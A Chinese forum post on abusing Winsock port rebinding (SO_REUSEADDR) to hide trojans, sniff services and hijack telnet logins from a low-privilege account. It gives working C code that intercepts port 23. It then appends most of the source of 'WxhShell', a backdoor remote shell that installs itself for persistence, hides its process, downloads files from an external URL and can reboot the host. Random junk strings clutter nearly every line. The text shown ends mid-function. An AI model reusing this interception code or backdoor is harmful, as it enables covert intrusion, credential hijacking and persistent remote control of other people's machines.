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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S&`iEwG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nt*nTtcE  
skR I \  
  saddr.sin_family = AF_INET; y%^TZ[S  
+`H{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4+j:]poYG{  
YoEL|r|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L-\o zp  
1ZK~i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sLh %k  
C].w)B  
  这意味着什么?意味着可以进行如下的攻击: n:d7 Tv1Z8  
4|[)D/N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qwx{U  
^~:&/0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y;[#~3CA  
#O2e[ E-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !-gjA@Pk  
3A5:D#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  DeTD.)pS  
&z"sT*3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~'aK[3  
:P1/kYg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^w*$qzESy  
Zc Y* TGx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 21\t2<"  
!O-9W=NJ  
  #include Skn2-8;10  
  #include -6./bB g  
  #include 5o dtYI%L  
  #include    n :P5m9T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jLLZZPBK  
  int main() Mm'q4DV^  
  { Jm(sx'qPx  
  WORD wVersionRequested; f<T"# G$5  
  DWORD ret; #MhieG5  
  WSADATA wsaData; C)|{7W  
  BOOL val; bBC!fh!L"  
  SOCKADDR_IN saddr; c6 tB9b  
  SOCKADDR_IN scaddr; |f.R]+cH  
  int err; }*ZOD1j  
  SOCKET s; !e"TWO*X  
  SOCKET sc; QTNE.n<?  
  int caddsize; 9?xc3F2EBD  
  HANDLE mt; \X?GzQkr  
  DWORD tid;   ^.f`6 6/  
  wVersionRequested = MAKEWORD( 2, 2 ); yF#:*Vz>  
  err = WSAStartup( wVersionRequested, &wsaData ); O] nZr  
  if ( err != 0 ) { 6+;B2;*3  
  printf("error!WSAStartup failed!\n"); m {)F9F  
  return -1; \HsrUZ~  
  } [,1\>z|&  
  saddr.sin_family = AF_INET; Gap\~Z@L  
   'Oe}Ja  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "ccP,#Y  
}N6r/ VtOQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4}\Dr %US  
  saddr.sin_port = htons(23); zwyK \j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x$'0}vnT  
  { tbP ;iK'  
  printf("error!socket failed!\n"); xNaDzu"  
  return -1; ~!Q\\_  
  } lN-[2vT<  
  val = TRUE; !]-ET7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Vu`O%[Q/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BVt)~HZ  
  { uWSfr(loX  
  printf("error!setsockopt failed!\n"); /`j~r;S  
  return -1; eT|"6WJ:{  
  } 9se ,c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6*:mc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Lb>UraUvL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $M(ZKS3,j  
R3dCw:\O+Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FojsI<  
  { 6_w;dnVA  
  ret=GetLastError(); FLI0C  
  printf("error!bind failed!\n"); q["T6  
  return -1; ~/B[;#  
  } 0y"Ra%Y  
  listen(s,2); o1"-x  
  while(1) v_zVhE tY  
  { re `B fN  
  caddsize = sizeof(scaddr); aNW!Y':*  
  //接受连接请求 P}El#y#&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JlF$|y,gV,  
  if(sc!=INVALID_SOCKET) VZ:L K  
  { q-;z!iq|!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C6XZZ  
  if(mt==NULL) -0{"QhdE%  
  { j(;o   
  printf("Thread Creat Failed!\n"); a_pNFe  
  break; \2K_"5  
  } BZP~m=kq  
  } >J \}&!8,  
  CloseHandle(mt); `XJU$c  
  } V_SZp8  
  closesocket(s); i8tH0w/(M  
  WSACleanup(); $g?`yE(K  
  return 0; Xyrf$R'  
  }   ^,$>z*WQ.  
  DWORD WINAPI ClientThread(LPVOID lpParam) `V;vvHP A  
  { 'WA]DlO  
  SOCKET ss = (SOCKET)lpParam; *c[X{  
  SOCKET sc; A;4O,p@   
  unsigned char buf[4096]; ~?m vV`30&  
  SOCKADDR_IN saddr; -I'@4\<  
  long num; km]RrjRp  
  DWORD val; ^h:%%\2  
  DWORD ret; fgg;WXcT ~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -<'&"-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m),3J4(q  
  saddr.sin_family = AF_INET; BAq@H8*B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3+%c*}KC~  
  saddr.sin_port = htons(23); "2}E ARa  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #^>5,M2  
  { Vko1{$}t  
  printf("error!socket failed!\n"); W* XG9  
  return -1; d +]Gw  
  } 8mCL3F  
  val = 100; ~ [por  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) er0hf2N]  
  { O%(E 6 n  
  ret = GetLastError(); q x1}e  
  return -1; ~t $zypw  
  } 8?L7h\)-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g]=w_  
  { GTw3rD^wg  
  ret = GetLastError(); n 2k&yL+a  
  return -1; =]OG5b_-Y  
  } !Ol>![  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9K>$  
  { bUW`MH7yJ  
  printf("error!socket connect failed!\n"); v\Y362Xv  
  closesocket(sc); 6%K,3R-d  
  closesocket(ss); !;YmLJk;hN  
  return -1; ?0Qm  
  } )1>fQ9   
  while(1) #8!xIy  
  { tr]=q9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 YlZe  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }NQ {S3JW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QT;mCD=OD  
  num = recv(ss,buf,4096,0); /A U& X  
  if(num>0) $6ZO V/0  
  send(sc,buf,num,0); Hw1<! Dyv  
  else if(num==0) a8#6}`|C?  
  break; Ol,Tw=?  
  num = recv(sc,buf,4096,0); qc*z`Wz:  
  if(num>0) }}";)}C`  
  send(ss,buf,num,0); PKT/U^2X]  
  else if(num==0) (W7cQ>  
  break;  $)5F3 a|  
  } L{hP&8$k  
  closesocket(ss); 7>g^OE f  
  closesocket(sc); PD$g W`V  
  return 0 ; s uT#k3  
  } ?#8s=t  
'g8~uP  
I e#LZti  
========================================================== W2F %E  
26Y Y1T\B)  
下边附上一个代码,,WXhSHELL `&.]>H)N*  
AeqxH1%  
========================================================== Z/-!-  
2d,q?VH$  
#include "stdafx.h" je^!W?U4<  
k{/2vV[`]  
#include <stdio.h> !<wM?Q:  
#include <string.h> hhTM-D1Ehs  
#include <windows.h> Mh04O@"  
#include <winsock2.h> &></l| hY  
#include <winsvc.h> $J>J@4  
#include <urlmon.h> n\Z& sc  
]%yph3C  
#pragma comment (lib, "Ws2_32.lib") FbMX?T"yH  
#pragma comment (lib, "urlmon.lib") ,[To)x5o  
a *n^(  
#define MAX_USER   100 // 最大客户端连接数 N7=L^]  
#define BUF_SOCK   200 // sock buffer By|y:  
#define KEY_BUFF   255 // 输入 buffer {2`:7U ~|  
1M|DaAI  
#define REBOOT     0   // 重启 4s?x 8oAy  
#define SHUTDOWN   1   // 关机 :%M[|Fj  
O.n pi: a  
#define DEF_PORT   5000 // 监听端口 yq{k:)  
QGtKu:c.81  
#define REG_LEN     16   // 注册表键长度 'CqWF"  
#define SVC_LEN     80   // NT服务名长度 \vBpH'hR,'  
#tyHjk  
// 从dll定义API U"} ml  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #]ZOi`;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =='~g~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7l"N%e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Zh?1+Sz&  
O`nrXC{  
// wxhshell配置信息 <lHelX=/  
struct WSCFG { E>j*m}b  
  int ws_port;         // 监听端口 fr~e!!$H  
  char ws_passstr[REG_LEN]; // 口令 7/.-dfEK  
  int ws_autoins;       // 安装标记, 1=yes 0=no FF:Y7wXW  
  char ws_regname[REG_LEN]; // 注册表键名 gl/n*s#r_  
  char ws_svcname[REG_LEN]; // 服务名 *5$$C&@o9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S ^?&a5{o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8y!d^EQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0*66m:C2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <Z^t^ O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w$~|/UrLf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s 2t'jIB  
gf `uC0  
}; p&w XRI  
S0V%JY;Gv  
// default Wxhshell configuration H\tz"<*``  
struct WSCFG wscfg={DEF_PORT, B_w;2ZuA  
    "xuhuanlingzhe", m^dKww  
    1, )NeI]p  
    "Wxhshell", VmLV:"P}^  
    "Wxhshell", Hcw@24ic  
            "WxhShell Service", |A_yr/f  
    "Wrsky Windows CmdShell Service", OO.. Y  
    "Please Input Your Password: ", "^j& ^sA+  
  1, eWvL(2`Tx  
  "http://www.wrsky.com/wxhshell.exe", bXoj/zek  
  "Wxhshell.exe" 30 Vv Zb  
    };  k~#F@_  
>W,1s  
// 消息定义模块 \BC|`)0h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h>,yqiY4p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "j5b$T0P>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A~ugx~S0  
char *msg_ws_ext="\n\rExit."; .YquOCc(  
char *msg_ws_end="\n\rQuit."; \>NjeMuWU  
char *msg_ws_boot="\n\rReboot..."; SRq0y,d  
char *msg_ws_poff="\n\rShutdown..."; OM!CP'u#{  
char *msg_ws_down="\n\rSave to "; L^:+8g  
8fzmCRFH  
char *msg_ws_err="\n\rErr!"; /esSM~*H  
char *msg_ws_ok="\n\rOK!"; >#z*gCO5,  
?pdvFM  
char ExeFile[MAX_PATH]; 7bioLE  
int nUser = 0; Ug=8:a(U.  
HANDLE handles[MAX_USER]; t?p[w&@M2  
int OsIsNt; KQ<pQkhv  
EB'(%dH  
SERVICE_STATUS       serviceStatus; tp2CMJc{L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;\=W=wL(  
8M m,a  
// 函数声明 * ";A~XNx  
int Install(void); "WOY`su>  
int Uninstall(void); Pb$ep|`u  
int DownloadFile(char *sURL, SOCKET wsh); ai% fj*  
int Boot(int flag); 7MreBs(M  
void HideProc(void); BBy"qkTe  
int GetOsVer(void); 1bb~u/jU  
int Wxhshell(SOCKET wsl); :. B};;N  
void TalkWithClient(void *cs); $FEG0&  
int CmdShell(SOCKET sock); U@v=q9'W  
int StartFromService(void); 6y&d\_?Y  
int StartWxhshell(LPSTR lpCmdLine); '|n-w\ >Wv  
Hw8`/'M=%5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {.2A+JT,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n|F$qV_p\  
HqXaT6#/  
// 数据结构和表定义 L_uliBn  
SERVICE_TABLE_ENTRY DispatchTable[] = O#Ab1FQn  
{ \?)@ #Qs  
{wscfg.ws_svcname, NTServiceMain}, afRUBjs  
{NULL, NULL} .3k"1I '\  
}; _@0>y MZ^  
R*I{?+  
// 自我安装 VJ P]Jy_  
int Install(void) jJ-j   
{ b@@`2O3"  
  char svExeFile[MAX_PATH];  Z+ [Nco  
  HKEY key; (NUwkAO M}  
  strcpy(svExeFile,ExeFile); 'M2Jw8i  
u= ( kii=/  
// 如果是win9x系统,修改注册表设为自启动 RWf4Wh?d  
if(!OsIsNt) { ('!90  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #LEK?]y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +hg|!SS@5  
  RegCloseKey(key); zRsG$)B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A<.`HCv2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0hK)/!Y  
  RegCloseKey(key); 5% C-eB  
  return 0; ?}y?e}y*xZ  
    } uNV (r"  
  } ipfiarT~)  
} OpmI" 4{+  
else { FQSepUl  
)y-y-B=+T  
// 如果是NT以上系统,安装为系统服务 v0`E lkaN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hp6S *d  
if (schSCManager!=0) =if5$jE3  
{  qJ!&H  
  SC_HANDLE schService = CreateService D 4^2F(YRX  
  ( hh`7b,+ 4  
  schSCManager, W@jBX{k  
  wscfg.ws_svcname, zZDa7 1>  
  wscfg.ws_svcdisp, <T JUKznO  
  SERVICE_ALL_ACCESS, \M1-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aB~?Y+m  
  SERVICE_AUTO_START, ;,n{6`  
  SERVICE_ERROR_NORMAL, H `Fe |6I&  
  svExeFile, 1QXv}36#3n  
  NULL, <e|I?zI9-  
  NULL, {Cnz7TVB  
  NULL, -sl] funRy  
  NULL, I?@9;0R  
  NULL SUxz &xH  
  ); HjUs}#</  
  if (schService!=0) dN J2pfvv  
  { he;;p="!*  
  CloseServiceHandle(schService); 1i:l  
  CloseServiceHandle(schSCManager); Js[dT|>.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9.f/d4  
  strcat(svExeFile,wscfg.ws_svcname); h\afO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K"-.K]O8E%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !Z2?dhS  
  RegCloseKey(key); :Zl@4}  
  return 0; `qp[x%7^  
    } sEq_K#n{  
  } Im i)YC  
  CloseServiceHandle(schSCManager); 7*]O]6rP  
} ?n9gqwO  
} , }O>,AU  
EQXvEJ^  
return 1; l[mXbQd  
} B/g.bh~)q  
XfmPq'#Z  
// 自我卸载 }-9  
int Uninstall(void) smW 7zGE  
{ q-O=Em<*  
  HKEY key; .4pWyqU)!  
a,IE;5kG  
if(!OsIsNt) { Nw'i;}0v7r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e*.l6H/B  
  RegDeleteValue(key,wscfg.ws_regname); 6VpT*,2d~  
  RegCloseKey(key); ^6`"f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f}b= FV{  
  RegDeleteValue(key,wscfg.ws_regname); 21x?TZa  
  RegCloseKey(key); -Zd0[& ']  
  return 0; 3 4CqLPg8  
  } rkh+$*t@i7  
} H'Q4IRT  
} 5%j !SVW  
else { `)$'1,]u  
G4][`C]8c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5]DgfwX  
if (schSCManager!=0) #@Yw]@5M  
{ uH S)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B B*]" gT  
  if (schService!=0) wB~Ag$~  
  { Z}6   
  if(DeleteService(schService)!=0) { !=M[u+-  
  CloseServiceHandle(schService); :4|ubu  
  CloseServiceHandle(schSCManager); Lgl%fO/<t  
  return 0; S,,,D+4  
  } [=imF^=3Vb  
  CloseServiceHandle(schService); hs< )<  
  } CL oc  
  CloseServiceHandle(schSCManager); +@>K]hdr  
} 9T#d.c24  
} o_hk!s^4m  
=NxT9$V  
return 1; zsnXPRF  
} dUiv+K)ccQ  
X8aNl"x  
// 从指定url下载文件 v1wMXOR  
int DownloadFile(char *sURL, SOCKET wsh) !2>MaV1,  
{ ^3?]S{1/#  
  HRESULT hr; 1 i # .h$  
char seps[]= "/"; <hazrKUn  
char *token; %7WGodlXW  
char *file; mb_*FJB-_  
char myURL[MAX_PATH]; k_$:?$  
char myFILE[MAX_PATH]; ^F/gJ3_;  
4sOo>.<x  
strcpy(myURL,sURL); <]#'6'  
  token=strtok(myURL,seps); H.#<&5f  
  while(token!=NULL) R@_i$Df|  
  { c+P.o.k;  
    file=token; #wn`choT'  
  token=strtok(NULL,seps); J+ tpBPmb  
  } dV(61C0wn  
T@0\z1,~S  
GetCurrentDirectory(MAX_PATH,myFILE); cC@B\Q  
strcat(myFILE, "\\"); \UZlFE  
strcat(myFILE, file); 2Ur9*#~kGp  
  send(wsh,myFILE,strlen(myFILE),0); DY| s |:d  
send(wsh,"...",3,0); {1a%CsCM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !0Hx1I<*x  
  if(hr==S_OK) ";\na!MT  
return 0; 5{ ?J5  
else {z:aZ]QhKc  
return 1; T;jy2|mLo  
<pzCpF<  
} /~RY{ c@#L  
HX\^ecZ#E  
// 系统电源模块 iOk^RDG+  
int Boot(int flag) ;#a^M*e  
{ \!D<u'n  
  HANDLE hToken; [k qx%4q)  
  TOKEN_PRIVILEGES tkp; wJ 0KI[p(S  
(Q~ p"Ch  
  if(OsIsNt) { {akSK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I29aja  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S[g{ )p)  
    tkp.PrivilegeCount = 1; hfzmv~*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~wtl\-cY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iK&s_}i:  
if(flag==REBOOT) { "SGq$3D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fo  K!JX*  
  return 0; X.^S@3[  
} i> }P V  
else { i}d^a28  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1yHlBeEC  
  return 0;  {*!L[)  
} V}c3}'_U]  
  } d~#>.$Uu  
  else { $J]VY;C!  
if(flag==REBOOT) { ,ru2C_LQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z{<&2*  
  return 0; IpX.ube  
} y>4r<Y ZQ  
else { @ Gxnrh6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KY}c}*0  
  return 0; @K{1O|V  
} %#5yC|o9Pn  
} (t$jb |Oa  
3-^z<*  
return 1; xLID @9Hbu  
} \v|nRn,`-  
>/W  
// win9x进程隐藏模块 PHZ+u@AA6@  
void HideProc(void) {,V.IDs8[  
{ %+BiN)R*x  
~MuD`a7#G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s#phs `v  
  if ( hKernel != NULL ) t]dtBt].:  
  { l;+nL[%`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M1UabqQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b8Bf,&:ys  
    FreeLibrary(hKernel); Tvdg:[V<  
  } s @AGU/v  
[diUO1p  
return; dY|~"6d)  
} $hND!T+;  
;/hR#>ib  
// 获取操作系统版本 :!',o]"4,k  
int GetOsVer(void) K+2sq+ 3q  
{ 0^l)9zE  
  OSVERSIONINFO winfo; l~_] k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SQ$|s%)oB  
  GetVersionEx(&winfo); c*fMWtPp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d2cslD d  
  return 1; Kyn[4Bu!?  
  else 'MF|(`  
  return 0; ^t p6G  
} (T&rvE  
j` RuK  
// 客户端句柄模块 F6g)2&e{/  
int Wxhshell(SOCKET wsl) )1E[CIaXK  
{ 'aj97b;lpG  
  SOCKET wsh; mI$<+S1!  
  struct sockaddr_in client; "#<P--E9  
  DWORD myID; 0j@nOj(3  
#ZzFAt  
  while(nUser<MAX_USER) aHhr_.>X  
{ yf 7Sz$Eq  
  int nSize=sizeof(client); ">-J+ST%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hU: 9zLe  
  if(wsh==INVALID_SOCKET) return 1; PIo8mf/  
y~16o   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HV*D l$  
if(handles[nUser]==0) 3vcKK;qCB  
  closesocket(wsh); 06)B<  
else  ~OdE!!  
  nUser++; r2t|,%%N7  
  } )Id.yv}_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QYS 1.k  
p'@| O q&  
  return 0; Y! 8 I  
} 3izGMH_`  
sN"JVJXi  
// 关闭 socket Ah_,5Z@&R  
void CloseIt(SOCKET wsh) 9i^dQV.U=  
{ /Soc,PjZ  
closesocket(wsh); Bz7rf^H`Z  
nUser--; G@.TE7a2Z  
ExitThread(0); bi:TX<K+  
} Ne!0`^`~  
6}q8%[l|  
// 客户端请求句柄 6jDHA3  
void TalkWithClient(void *cs) PN(P$6  
{ 7{"urs7 T  
3zr95$Mt  
  SOCKET wsh=(SOCKET)cs; t9C.|6X  
  char pwd[SVC_LEN]; Xc>M_%+ R  
  char cmd[KEY_BUFF]; VuU{7:  
char chr[1]; %I`%N2ss  
int i,j; ?QbxC,& i  
0Z11V9Jk  
  while (nUser < MAX_USER) { qD] &&"B  
Exu5|0AAE  
if(wscfg.ws_passstr) { WVa-0;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O7})1|>1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i(hL6DLD  
  //ZeroMemory(pwd,KEY_BUFF); )qq5WShMJ  
      i=0; !e<D2><^  
  while(i<SVC_LEN) { .+.'TY--  
8lNkY`P7s  
  // 设置超时 n7>L&?N#y#  
  fd_set FdRead; "t ^yM`$5[  
  struct timeval TimeOut; {S$]I)tV  
  FD_ZERO(&FdRead); mdNIC  
  FD_SET(wsh,&FdRead); )iU@P7W=  
  TimeOut.tv_sec=8; sY%nPf~9q'  
  TimeOut.tv_usec=0; UG~/   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3D2\#6yo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UN8]>#\"`  
-jPrf:3)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t[|aM-F&>  
  pwd=chr[0]; 0]~'}  
  if(chr[0]==0xd || chr[0]==0xa) { 3hD\6,@  
  pwd=0; l(B(gPvU  
  break; ab@1JAgs  
  } VhfM j|  
  i++; o`{@':%D`  
    } ?as1^~  
U3-cH  
  // 如果是非法用户,关闭 socket CGp7 Tx#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R?D c*,  
} GN=ugP 9  
@OB7TI_/   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CI8bHY$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >Ohh) $  
Wcf;ZX  
while(1) { NB.s2I7  
!k}]`z^d  
  ZeroMemory(cmd,KEY_BUFF); GKg&lM!O$  
JtbwY@R  
      // 自动支持客户端 telnet标准   <rbzsn"a  
  j=0; \'>ZU-V  
  while(j<KEY_BUFF) { @5,Xr`]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qOD:+b  
  cmd[j]=chr[0]; Mr}K-C?ge  
  if(chr[0]==0xa || chr[0]==0xd) { YD@n8?~$$  
  cmd[j]=0; sI OT6L^7  
  break; X$0&tmum  
  } [AA*B  
  j++; cvk$ I"q+  
    } )wb&kug -  
<l`xP)] X  
  // 下载文件 _@/nc:)H  
  if(strstr(cmd,"http://")) { L"(k;Mfe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {kdS t1  
  if(DownloadFile(cmd,wsh)) AEw~LF2w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vFx0B?  
  else 0)0,&@])7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I%b}qC"5M  
  } 6E))4 lW  
  else { MRb6O!$`C  
h3YWqSj  
    switch(cmd[0]) { ?H0"*8C?Y  
  5bHS|<  
  // 帮助 XPfheV G  
  case '?': { ')82a49eA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _q1b3)`D  
    break; ;X}!;S%K  
  } T[\?fSP  
  // 安装 a j13cC$  
  case 'i': { wticA#mb  
    if(Install()) >&?k^nI}J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [IRWm N-  
    else ^)%TQ.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =K8z8K?  
    break; t \;,$i  
    } {~0r3N4Zl  
  // 卸载 ":Uv u[-  
  case 'r': { L >HyBB  
    if(Uninstall()) k%TjRf{p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 277Am*2  
    else H"vy[/UcR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6_zyPh  
    break; .% {4B,d$  
    } 0w9[Z  
  // 显示 wxhshell 所在路径 )oCb9K:km  
  case 'p': { vNIQ1x5Za  
    char svExeFile[MAX_PATH]; YCI- p p  
    strcpy(svExeFile,"\n\r"); Pgo^$xn'6  
      strcat(svExeFile,ExeFile); V 3yt{3Or  
        send(wsh,svExeFile,strlen(svExeFile),0); FI=]K8  
    break; (;T g1$  
    } o"M h wh  
  // 重启 tjWf`#tH>H  
  case 'b': { oRZ--1oR_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IM8lA  
    if(Boot(REBOOT)) RS9mAeX4h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7:P+S%ZL  
    else { qf?X:9Wt  
    closesocket(wsh); u~7 ,v  
    ExitThread(0); ~Kll.  
    } )|Md"r_B  
    break; .j l|? o  
    } tMOhH #  
  // 关机 i286`SLU  
  case 'd': { 7 yp}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *)82iD  
